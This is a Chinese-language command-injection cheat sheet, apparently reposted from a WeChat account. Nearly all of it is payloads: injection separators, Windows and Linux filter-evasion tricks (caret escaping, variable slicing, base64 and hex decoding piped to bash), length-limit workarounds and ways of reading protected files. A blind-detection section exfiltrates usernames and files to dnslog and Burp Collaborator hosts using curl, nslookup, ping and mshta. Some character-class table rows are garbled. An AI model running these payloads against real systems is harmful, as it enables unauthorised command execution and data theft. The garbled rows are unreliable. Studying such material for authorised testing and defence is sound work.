命令执行漏洞备忘录,个人知识归档。
——前言
阅读声明:纯技术分享,文章仅供参考,文中的知识或工具仅限于读者对自己所负责的网站、服务器等进行学习研究和授权测试,严禁用于一切未授权测试和非法测试,否则产生的一切后果自行承担,与本文作者无关!!!
0x00 介绍
0x01 测试
1.命令执行常见场景
-
Ping功能
-
DNS请求
-
Office框架
-
框架缺陷
-
服务器管理面板
-
等等
2.常用测试payload
&echo 111
&&echo 111
| echo 111
|| echo 111
;echo 111
;sleep 5
`echo 111`
`sleep 5`
who`echo a`mi
$(echo 111)
%26%26echo 111
%7c%7cecho 111
3.常用系统命令
Linux | Windows |
描述 |
---|---|---|
whoami | whoami | 当前用户名 |
pwd |
chdir | 当前文件夹路径 |
ls -al |
dir |
当前文件列表 |
uname -a |
ver | 操作系统 |
ifconfig |
ipconfig /all |
网络配置 |
netstat -an |
netstat -an |
网络连接 |
ps -ef |
tasklist |
运行进程 |
0x02 windows
符号 |
描述 |
---|---|
& | 连接多个命令,所有命令都会执行,且按顺序执行 |
& & | 连接多个命令,前面的命令执行成功后,才会执行下一个命令,否则后面的命令都不执行 |
| | 将前面的命令输出作为下一个命令的输入,若后面的命令无关联性,则直接执行后面的命令 |
| | | 连接多个命令,只有前面的命令执行失败,才会执行下一个命令 |
2.通配符
(1)通配符
符号 |
描述 |
---|---|
* | 匹配任意字符,且任意长度(可以为空) |
? | 匹配单个字符 |
(2)常用payload
type *.*
type *.???
type .*.???
type ????.???
type f*.*
type f*.???
more *.*
more *.???
more .*.???
more ????.???
more f*.*
more f*.???
3.绕过
-
&
-
&&
-
|
-
||
-
%0a
-
%1a(.bat文件中的命令分隔符)
-
%26%26
-
%7c%7c
(2)大小写绕过
tyPe flAg.tXt
TyPe FlAg.TXT
(3)双引号绕过
type f"la"g.txt
type fla""g.txt
(4)空格绕过
type.flag.txt
type,flag.txt
type;flag.txt
type=flag.txt
(5)圆括号绕过
(type flag.txt)
((type flag.txt))
(,(type flag.txt),)
(6)防转义绕过(不能连续2个^符号)
type flag.t^x^t
,;((ty^pe fl^ag.t^xt))
cmd /c ",;((ty^pe fl^ag.t^xt))"
(7)编码绕过
powershell -command "$decodedCommand = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Y2F0IC4vZmxhZy50eHQK')); Invoke-Expression $decodedCommand"
(8)赋值变量绕过
set a=type&&set b=flag.txt&&%a% %b%
(9)字符串切割绕过
#切割示例
set a=type&&set b=flag.txt&&%a:~0% %b%
set a=type&&set b=flag.txt&&%a:~0,6% %b%
#利用set查看环境变量值
set
#先查看%windir%和%HOMEPATH%变量值,再进行切割组合
echo %windir%
echo %HOMEPATH%
%windir:~3,1%h%windir:~-3,1%%HOMEPATH:~-5,1%mi
↓
Whoami
#先查看%ProgramFiles%变量值,再进行切割组合
echo %ProgramFiles%
%ProgramFiles:~9,1%%ProgramFiles:~5,1%%ProgramFiles:~7,1%%ProgramFiles:~-2,1% ????.???
↓
more ????.???
%ProgramFiles:~9,1%%ProgramFiles:~5,1%%ProgramFiles:~7,1%%ProgramFiles:~-2,1% %ProgramFiles:~-5,1%*
↓
more ????.???
#多手法组合绕过
C^m""D /^c ",(,(s^Et ^ a=ty^Pe,f),,)&& (S^Et ^ b=lAg^.tXt)& , , C^aLl, sE^t c=%a%%b%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^c, ,%c%"
↓
cmd /c "set a=type,f&&set b=lag.txt&call set c=%a%%b%&cmd /c %c%"
(10)for循环执行绕过
#以""进行字符串分割,选择第4列字符串进行执行
for /f "tokens=4 delims=" %i in ("c:windowssystem32type flag.txt") do %i
#以""进行字符串分割,选择C列和E列字符串,进行组合执行
for /f "tokens=1,2,3,4,* delims=" %A in ("c:windowstypesystem32flag.txt") do %C %E
(11)查看文件
①cmd命令
命令 |
描述 | 示例 |
---|---|---|
type |
显示文本文件内容 | type flag.txt |
more |
逐页显示文本文件内容 |
more flag.txt |
find |
在文本文件中搜索指定的字符串 |
find "flag" flag.txt |
findstr |
在文本文件中使用正则表达式搜索指定的字符串 |
findstr "flag" flag.txt |
fc |
比较两个文件或文件集的内容并显示差异 |
fc flag.txt C:Windowsexplorer.exe |
②Powershell命令
命令 |
描述 |
示例 |
---|---|---|
more |
逐页显示文本文件内容 | powershell cat flag.txt |
type |
显示文本文件内容 | powershell cat flag.txt |
cat |
显示文本文件内容 |
powershell cat flag.txt |
sls |
在文本文件中搜索指定的字符串 |
powershell sls "flag" flag.txt |
select-string | sls全称,在文本文件中搜索指定的字符串 | powershell select-string "flag" flag.txt |
gc |
显示文本前几行 |
powershell gc flag.txt |
get-content | gc全称,显示文本前几行 | powershell get-content flag.txt |
#以行为单位,进行文件内容读取
for /F %i in (flag.txt) do echo %i
#对行进行内容分割,delims指定以{}为分隔符,tokens指定列数位置,以下为第二列
for /F "delims={} tokens=2" %i in (flag.txt) do echo %i
0x03 Linux
1.连接符
符号 | 描述 |
---|---|
; | 连接多个命令,所有命令都会执行,且按顺序执行 |
& |
连接多个命令,无论前面是否执行成功,都会执行下一个,且将命令置于后台运行 |
&& |
连接多个命令,前面的命令执行成功后,才会执行下一个命令,否则后面的命令都不执行 |
| |
将前面的命令输出作为下一个命令的输入,若后面的命令无关联性,则直接执行后面的命令 |
|| |
连接多个命令,只有前面的命令执行失败,才会执行下一个命令 |
2.通配符
(1)通配符
符号 |
描述 |
---|---|
* |
匹配任意字符,且任意长度(可以为空) |
? |
匹配单个任意字符 |
[] |
匹配括号中任意一个字符;如[abc],则匹配a、b、c字符 |
[-] |
匹配[]中的任意字符;如[a-z0-9],则匹配所有小写字符和数字 |
[^] |
匹配不是括号内的一个字符,反向选择;如[^a],则匹配除a字符外的其他字符 |
[!] | 匹配不是括号内的一个字符,反向选择;如[!a],则匹配除a字符外的其他字符 |
{} |
匹配花括号中的字符串;如a{a,ab,abc},则会列出aa,aab,aabc |
(2)[]的特殊用例
[ ]]:所有小写字母
[ ]]:所有大写字母
[ ]]:所有字母
[ ]]:所有数字
[ ]]:所有字母和数字
[ ]]:空白字符和TAB制表符
[ ]]:包括空白字符、TAB制表符(t)、换页(f)
[ ]]:所有控制字符
[ ]]:可打印并可看到的字符。空格是可打印的,但是不是可看到的。
[ ]]:所有可打印字符
[ ]]:所有标点符号,非字母、数字、控制字符和space字符。
[ ]]:十六进制数的字符。
[ ]]:除了小写字母以外的其他字符
[ ]]:除了小写字母以外的其他字符
(3)常用payload
#通配符配合其他绕过方式进行绕过
# cat flag.txt
cat f*
??t *t
cat ./fl[a-z]g.txt
cat ./fl{a,b,c}g.txt
cat${IFS}fl*
cat${IFS}f???.txt
cat${IFS}fl?[^1].txt
cat f[![:digit:]]??.txt
#/bin/cat flag.txt
/???/?at flag.txt
/???/?at ????????
/???/?[a][t] ????????
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/?[a]''[t] ?''?''?''?''?''?''?''?''
/???/?[[:lower:]]''[t] ?''?''?''?''?''?''?''?''
3.绕过
(1)连接符绕过
-
%0a(n) -
%0d(r) -
%09(t) -
; -
& -
| -
&& -
|| -
%26%26 -
%7C%7C
(2)注释符‘#’
cat flag.txt #asdaaaa
(3)内敛执行命令
who`cat flag.txt`mi
who$(cat flag.txt)mi
#利用提前执行绕过目标文件过滤限制,ls的输出作为cat的输入
cat${IFS}`ls`
(4)防转义绕过
cat flag.txt
(5)单双引号绕过
# "
c"a"t flag.txt
ca""t flag.txt
# '
c'a't flag.txt
ca''t flag.txt
(6)赋值变量绕过
a=ca;b=t;c=flag.txt;$a$b $c
(7)字符串切割绕过
#cat flag.txt
#自定义字符串切割
a=”bmadfrtn”; b=?${a:3:1}${a:7:1};c=${a:5:1}*; $b $c
a=”bmadfrtn”; b=${a:3:1}${a:7:1};c=${a:5:1}; ?$b $c*
#根据环境变量字符进行切割
printenv → 显示所有系统环境变量与值
echo ${PATH} → 打印环境变量
echo ${PATH:34:2} → ca
${PATH:34:2}? f* → ca? f*
(8)编码绕过
# cat flag.txt 的编码转换
# base64编码
`echo Y2F0IGZsYWcudHh0Cg== | base64 -d`
echo Y2F0IGZsYWcudHh0Cg== | base64 -d | bash
echo Y2F0IGZsYWcudHh0Cg== | base64 -d | sh
# shellcode编码
$(printf "x63x61x74x20x66x6cx61x67x2ex74x78x74")
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")
`{printf,"x63x61x74x20x66x6cx61x67x2ex74x78x74"}`
{printf,"x63x61x74x20x66x6cx61x67x2ex74x78x74"} | bash
{printf,"x63x61x74x20x66x6cx61x67x2ex74x78x74"} | sh
# hex编码,xxd为二进制显示和处理文件工具
echo “0x63617420666c61672e747874” |xxd -r -p|bash
echo "63617420666c61672e747874" | xxd -r -p|bash
(9)空变量绕过
# $1-$9
ca$1t flag.txt
# ${1-n}
ca${1}t flag.txt
# $@
ca$@t flag.txt
# $*
ca$*t ./flag.txt
#$u
cat$u /etc/passwd
cat /etc$u/passwd
(10)/过滤绕过
printf "2f"
/
或者可以从$PATH中取/
echo $PATH|cut -c 1
(11)空格过滤绕过
#%20(space)
cat%20./flag.txt
#%09(tab)
cat%09./flag.txt
#${IFS}
cat${IFS}./flag.txt
#$IFS(IFS的默认值是空白,也包括空格,tab,新行)
cat$IFS./flag.txt
#$IFS$9($9为空字符)
cat$IFS$9./flag.txt
#<、<>
cat<flag.txt
cat<>flag.txt
#,
{cat,flag.txt}
#x20
a=$'x20flag.txt';cat$a
(12)长度限制绕过
#利用文件名,进行重写入拼接,cat flag.txt
mkdir a
>a/g.txt
>a/flag.txt\
>a/cat \
ls -t a>1
sh 1
mkdir a
>a/txt
>a/ag.\
>a/fl\
>a/t \
>a/ca\
ls -t a>1
sh 1
# 使用echo -n 输入到文件中拼接,cat<flag.txt
echo -n c 1
echo -n a 1
echo -n t 1
echo -n < 1
echo -n f 1
echo -n l 1
echo -n a 1
echo -n g 1
echo -n . 1
echo -n t 1
echo -n x 1
echo -n t 1
sh 1
#利用进行多行输入,拼接命令,cat<flag.txt
ca
t<fla
g.t
xt
或者重定向到文件里,采用shell运行
echo 'c\' 1
echo 'a\' 1
echo 't\' 1
echo '<\' 1
echo 'f\' 1
echo 'l\' 1
echo 'a\' 1
echo 'g\' 1
echo '.\' 1
echo 't\' 1
echo 'x\' 1
echo 't\' 1
sh 1
#四字节限制,利用反转进行拼接,cat f*
#对排序要求比较严格,比较难用,当了解就好
>tac
>*f
>dir
*>v
>rev
*v>1
sh 1
(13)当dir 与ls 绕过
使用find命令替代
(14)当cat被过滤后
命令 |
描述 | 示例 |
---|---|---|
cat |
显示整个文件内容 |
cat flag.txt |
less |
以分页形式查看文件内容 |
less flag.txt |
more |
以分页形式查看文件内容 | more flag.txt |
bzless |
是增强“.bz2”压缩包查看器 | echo `bzless flag.txt` |
bzmore |
用于查看bzip2压缩过的文本文件的内容 | bzmore flag.txt |
head |
显示文件的前几行,默认10行 |
head flag.txt |
tail |
显示文件的后几行,默认10行 | tail flag.txt |
grep |
在文件中搜索制定的模式 |
grep 'flag' flag.txt |
awk |
以文本处理语言的方式处理文件内容 |
awk '{print $0}' flag.txt |
diff |
比较两个文件或文件集的内容并显示差异 | diff flag.txt /etc/passwd |
sed |
用于编辑和转换文本文件的流式编辑器 |
sed 's/old/new/g' flag.txt sed 's/f/f/g' flag.txt |
nl |
显示文件的内容,并加上行号 |
nl flag.txt |
file |
获取文件的类型信息 |
file -f flag.txt |
strings |
从文件中提取可打印的字符串 |
strings flag.txt |
od |
以二进制的方式读取档案内容 | od -c flag.txt |
hexdump |
以十六进制形式显示文件内容 | hexdump -c flag.txt |
hexedit |
以十六进制编辑器的方式查看和修改文件内容 |
hexedit flag.txt |
xxd |
以十六进制形式显示文件内容 | xxd flag.txt |
tac |
反向显示文件的内容 |
tac flag.txt |
rev |
反转每行字符顺序 |
rev flag.txt |
pr |
格式化输出文件内容 |
pr -t -e4 -w80 flag.txt |
col |
过滤控制字符 |
col -b < flag.txt |
iconv |
文件编码转换 |
iconv -f utf-8 -t gb2312 flag.txt |
paste |
用于合并文件的命令 |
paste flag.txt |
uniq |
用于在文件中去重或统计重复行 |
uniq flag.txt |
sort |
用于对文件的内容进行排序 |
sort flag.txt |
vi |
vi 是一个文本编辑器 |
vi -R flag.txt |
vim |
vim是vi升级版 |
vim -R flag.txt |
bash |
执行bash文件命令 |
bash -v flag.txt |
curl |
通过url访问方式查看文件内容 |
curl file://flag.txt |
0x04 无回显判断
1.出网
(1)Linux
#http请求
##1.公网服务器监听
nc -lp 4444
##2.发起http请求
ip=|curl ip:4444
#dns解析
curl `whoami`.a0b637.dnslog.cn
nslookup $(whoami | base64).a0b637.dnslog.cn
ping `whoami`.a0b637.dnslog.cn
(2)Windows
#http请求
##1.公网服务器监听
nc -lp 4444
##2.发起http请求
ip=|curl ip:4444
#dns解析
ping %USERNAME%.a0b637.dnslog.cn
##也可以配合远程下载的方法
mshta http://%USERNAME%.a0b637.dnslog.cn
(3)curl读取源码(通用)
①copy Collaborator Client
分配的域名
②构造payload,并拼接执行
curl -X POST -F [email protected] http://jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
③查看 Collaborator Client
收到的数据
以下为模拟演示过程:
2.不出网
(1)Linux
睡眠延时判断
ping -c 2 127.0.0.1 | sleep 2
ping -c 2 127.0.0.1 | sleep 5
#ping延时判断
ping -c 3 127.0.0.1
ping -c 6 127.0.0.1
#查找静态文件,在同级目录下创建自定义内容的文件
phpinfofind / -name "test.js" -execdir bash -c 'echo "123" > test.txt' ;
(2)Windows
#ping延时判断
ping -n 3 127.0.0.1
ping -n 6 127.0.0.1
#dir查找前端JS文件,了解即可,可以利用扫盘的时间差进行判断
##默认shell当前盘符
dir /s/a-d/b test.js
##指定盘符
dir c: /s/a-d/b | findstr test.js
##默认shell当前盘符
dir /x /s /b test.js
##指定盘符
dir c: /x /s /b | findstr test.js
#for循环查找前端JS文件,了解即可,可以利用扫盘的时间差进行判断
##默认shell当前盘符
for /r %i in (test.js*) do @echo %i
##指定盘符
for /r c: %i in (test.js*) do @echo %i
#查找静态文件,在同级目录下创建以当前路径为内容的文件,外网访问文件是否存在
##默认shell当前盘符
for /r %i in (test.js*) do @echo %i > %i.txt
##指定盘符
for /r c: %i in (test.js*) do @echo %i > %i.txt
#powershell查找静态文件,在同级目录下创建自定义内容的文件
powershell -command "Get-ChildItem -Path './' -Recurse -Filter 'test.js' | ForEach-Object { New-Item -Path $_.DirectoryName -Name 'test.txt' -ItemType 'file' -Value '123' }
0x05 相关知识补充
1.命令注入和代码注入的区别
(1)命令注入漏洞
通常指发生在应用程序或软件直接使用用户输入构建系统命令或Shell命令的情况下,攻击者通过构造特定的输入来执行未授权操作,导致攻击者可以直接调用操作系统执行任意系统命令。
(2)代码注入漏洞
通常指发生在应用程序或软件直接把用户输入的数据插入到可执行代码中的情况下,攻击者通过构造特定的输入来修改应用程序逻辑,从而执行未授权操作,导致攻击者可以利用执行脚本代码调用操作系统执行任意系统命令。
2.常见执行函数
(1)命令执行函数
编程语言 |
函数 |
---|---|
PHP | exec、shell_exec、system、passthru、proc_open、popen |
Python | os.system、subprocess.run、subprocess.Popen |
Go | os/exec.Command、os/exec.Run、os/exec.Output |
Java | Runtime.getRuntime、Runtime.Runtime.exec、ProcessBuilder.command |
Asp |
System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo |
Node.js | child_process.exec、child_process.spawn |
(2)代码执行函数
编程语言 |
函数 |
---|---|
PHP |
eval、assert、preg_replace、create_function、array_map、call_user_func、call_user_func_array、array_filter、usort |
Java |
OGNL、SpEL、MVEL |
JS |
eval |
Vbscript |
eval、execute |
Python |
exec |
3.IP进制绕过
(1)介绍
ip地址用“点分十进制”表示,即用“.”分成4部分;而数字地址是一串用“十进制”表示的数字;可将IP地址转化为数字IP地址实现绕过。
(2)互转工具网址
http://www.msxindl.com/tools/ip/ip_num.asp
(1)两种都是多命令执行方式
(command1;command2;command3;…commandN)
{ command1;command2;command3;…commandN;}
注意:使用{}时第一条命令必须与左边括号有一个空格,最后一条命令一定要有分号。
(2)相同点
括号内的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号内的所有命令。
(3)不同点
()里的命令执行是重新开一个子shell进行执行,而{}里的命令执行在当前shell进行执行。
5.shell输入输出重定向
(1)命令说明:
-
command > file #输出重定向到file
-
command < file #输入重定向到file
-
command >> file #输出以追加的方式重定向到file
(2)文件描述符通常是这样的:
-
0:标准输入(STDIN)
-
1:标准输出(STDOUT)
-
2:标准错误输出(STDERR)
(3)以下文件描述符为n
-
n > file #将文件描述符为n的文件重定向到file
-
n >> file #将文件描述符为n的文件以追加的方式重定向到file
-
n >& m #将输出文件m和n合并
-
n <& m #将输入文件m和n合并
-
<< tag #将开始标记tag和结束标记tag之间的内容作为输入
6.正则表达式
(1)linux上文本处理三剑客:
-
grep:基本正则表达式,-E -F -
egrep:扩展正则表达式,-E -F -
fgrep:不支持正则表达式
②sed :stream editor ,流编译器;文本编译工具
③awk :linux上的实现为gawk,文本报告生成器(格式化文本)
(2)正则表达式:
基础正则 | ^$ .*.* [] [^]{} |
扩展正则 | |+()?{} |
②基本正则表达式用法
字符 |
含义 |
转义字符,用于取消特殊符号的含义 | |
^ |
匹配字符串开始的位置 |
$ |
匹配字符串结束的位置 |
. |
匹配除n之外的任意的一个字符 |
* | 匹配前面子表达式0次或者多次 |
[] |
匹配list列表中的一个字符 |
[^] |
匹配任意非list列表中的一个字符 |
{n} |
匹配前面的子表达式n次 |
{n,} |
必须匹配前面的子表达式n次或以上 |
{n,m} |
匹配前面的子表达式n次到m次之间,包括边界 |
③扩展正则表达式用法
选项 |
含义 |
? |
匹配前面子表达式0次或者1次 |
+ | 匹配前面子表达式1次以上 |
() |
将括号中的字符串作为h一个整体 |
| | 以或的方式匹配字条串 |
{n} | 匹配前面的子表达式n次 |
{n,} |
必须匹配前面的子表达式n次或以上 |
{n,m} |
匹配前面的子表达式n次到m次之间,包括边界 |
<word |
表示匹配单词开头 |
word> |
表示匹配单词结尾 |
b | 单词边界 |
④特殊匹配模式
匹配模式 |
含义 |
[:alnum:] |
字母与数字字符,如grep[[:alnum:]] words.txt |
[:alpha:] |
字母 |
[:ascii:] |
ASCII字符 |
[:blank:] |
空格或制表符 |
[:cntrl:] |
ASCII控制字符 |
[:digit:] |
数字 |
[:graph:] |
非控制、非空格字符 |
[:lower:] |
小写字母 |
[:print:] |
可打印字符 |
[:punct:] |
标点符号字符 |
[:space:] |
空白字符,包括垂直制表符 |
[:upper:] |
大写字母 |
[:xdigit:] |
十六进制数字 |
(3)通配符和正则表达式比较
PS:通配符和正则表达式看起来有点像,但不能混淆。
①通配符通常可以简单理解为只有“*,?,[],{}”这4种,而正则表达式则复杂得多。
②*在通配符和正则表达式中有其不一样的地方
1)在通配符中*可以匹配任意的0个或多个字符,即任意字符。
2)在正则表达式中*是重复之前的一个或者多个字符,不能独立使用。
原文始发于微信公众号(黑域之路):04-命令执行漏洞备忘录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论